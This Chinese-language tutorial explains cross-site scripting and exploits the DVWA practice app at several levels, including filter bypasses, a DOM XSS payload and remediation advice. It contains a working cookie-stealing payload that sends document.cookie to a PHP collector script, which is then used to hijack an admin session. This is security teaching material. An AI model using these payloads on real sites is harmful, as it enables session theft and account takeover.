什么是XSS
全称:Cross Site Script(跨站脚本)
为了与层叠样式表css区分,将跨站脚本简写为XSS
危害:盗取用户信息、钓鱼、制造蠕虫等。
概念
概念:黑客通过“HTML注入”篡改了网页,插入了恶意脚本,从而在用户在浏览网页时,实现控制用户浏览器行为的一种攻击方式。
黑客可以利用xss盗取用户的cookie,有了用户的cookie,可以以用户的身份来正常访问站点。
XSS属于客户端代码注入,通常注入代码是JavaScript。区别于命令注入,SQL注入属于服务端代码注入。
示例
假设一个页面把用户输入的参数直接输出到页面上,php代码如下:
<?php
$input = $_GET['param'];
echo "<div>".$input."</div>";
?>
正常情况下,用户向param提交的数据会展示在页面中,如
http://localhost/test.php?param=this is a test!
但是,如果提交一段js代码
http://localhost/test.php?param=<script>alert(/xss/)</script>
会看到js代码在当前页面执行了
这只是一个简单的例子,XSS攻击还有一些其它的形式。
XSS分类
XSS根据效果的不同,可以分为存储型XSS、反射型XSS,DOM型XSS。
存储型
攻击代码在服务器端(数据库),输出在http响应中。
比较常见的场景是,黑客写下一篇包含有恶意JavaScript代码的博客文章,文章发表后,所有访问该博客的用户,都会在他们的浏览器中执行这段恶意js代码。
反射型
攻击代码在URL里,输出在http响应中。黑客往往需要诱使用户“点击”一个恶意链接,才能攻击成功。
DOM型
从效果上来说,也属于反射型XSS。
攻击代码在URL里,输出在DOM节点中。
不同类别之间的区别
实战
环境准备
phpstudy
MySQL中root用户默认密码root
DVWA
DVWA(Damn Vulnerable Web Application)是一个用PHP编写的用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。
DVWA共有十个模块,分别是
- Brute Force(暴力破解)
- Command Injection(命令行注入)
- CSRF(跨站请求伪造)
- File Inclusion(文件包含)
- File Upload(文件上传)
- Insecure CAPTCHA(不安全的验证码)
- SQL Injection(SQL注入)
- SQL Injection(Blind)(SQL盲注)
- XSS(Reflected)(反射型跨站脚本)
- XSS(Stored)(存储型跨站脚本)
安装
1、下载DVWA1.9
2、解压,并复制到网站根目录
3、修改config/config.inc.php的MySQL密码
4、访问DVWA
创建数据库,进入登陆页面
默认用户名:admin,默认密码:password
若是出现下列界面,则表示部署成功
XSS实战
反射型
low等级
输入xss,显示正常
在输入框或hackbar中将name参数的值替换为<xss>
,页面无法正常显示
查看页面元素,发现hello后面出现了一对xss的标签,似乎可以注入html标签
弹窗测试
弹窗函数:alter()、confirm()、prompt()
将name参数的值改为js标签
页面成功出现弹窗,说明存在xss漏洞。
应用:盗取cookie
- 攻击者web设计
cookie.php
<?php
$cookie = $_GET['cookie']; //将get请求的参数cookie存储到cookie变量
file_put_contents('cookie.txt', $cookie); //将获取的cookie写入到cookie.txt文件中
?>
将文件放入攻击者的web根目录下
- 构造js
<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>
- 构造并发送url
将name参数值替换为远程盗取cookie的语句
http://localhost/DVWA/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>
对参数进行url编码
执行请求,获得cookie
- 模拟用户访问DVWA
进入DVWA登陆界面,编辑cookie,替换为上面获取的cookie
直接访问DVWA的首页,index.php
成功以admin的身份进入DVWA首页。
DVWA中XSS的服务器端核心代码(low等级)
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。
medium等级
弹窗测试失败
在script标签中嵌入script标签,成功实现弹窗
script标签大小写混合,成功实现弹窗
服务器端核心代码
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
可以看到,这里对输入进行了过滤,基于黑名单的思想,使用str_replace函数将输入中的<script>
删除,这种防护机制是可以被轻松绕过的。
high等级
high等级中,使用上面low和medium介绍的方法都是失效的。
注意:能够执行js代码的,不只是script标签,img标签也可以执行js代码。
使用iframe标签,在一个HTML中嵌入另一个HTML
服务器端核心代码
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
可以看到,High级别的代码同样使用黑名单过滤输入,preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。
impossible等级
服务器端核心代码
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素。
存储型
对于name字段,前端有长度限制,xss代码输不完整
可以直接向服务器发送请求,绕过前端字符数量限制。
low等级
对于name字段,可以通过抓包,修改请求进行xss攻击,成功弹窗
在message中输入<script>alert(/xss/)</script>
,成功实现弹窗
服务器端核心代码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
// Sanitize name input
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
对输入并没有做XSS方面的过滤与检查,且存储在数据库中,因此这里存在明显的存储型XSS漏洞。
其它等级和反射型类似,这里不再赘述。
DOM型
对于如下服务器端代码
<html>
<head></head>>
<body>
<script>
function test(){
var str1 = document.getElementById("text").value;
document.getElementById("t").innerHTML = "<a href='"+str1+"' >testLink</a>";
}
</script>
<div id="t" ></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()">
</body>
</html>
点击write按钮后,会在当前页面插入一个超链接,其地址为文本框中的内容
在test()函数中,修改了页面的DOM节点,通过innerHTML把一段用户数据当做HTML写入到页面中,这就会造成DOM型XSS。
构造如下数据
' onclick=alert(/xss/) //
输入后,页面代码变为
<a href='' onclick=alert(/xss/) //' >testLink</a>
点击新生成的链接,脚本被执行
成功实现弹窗。
修复
HttpOnly
浏览器禁止页面的JavaScript访问带有HttpOnly属性的cookie。严格地说,HttpOnly并非为了对抗XSS——HttpOnly解决的是XSS后的Cookie劫持攻击。输入检查
白名单
同时在客户端JavaScript中和服务器端代码中实现相同的输入检查输出检查
HTML编码
js转义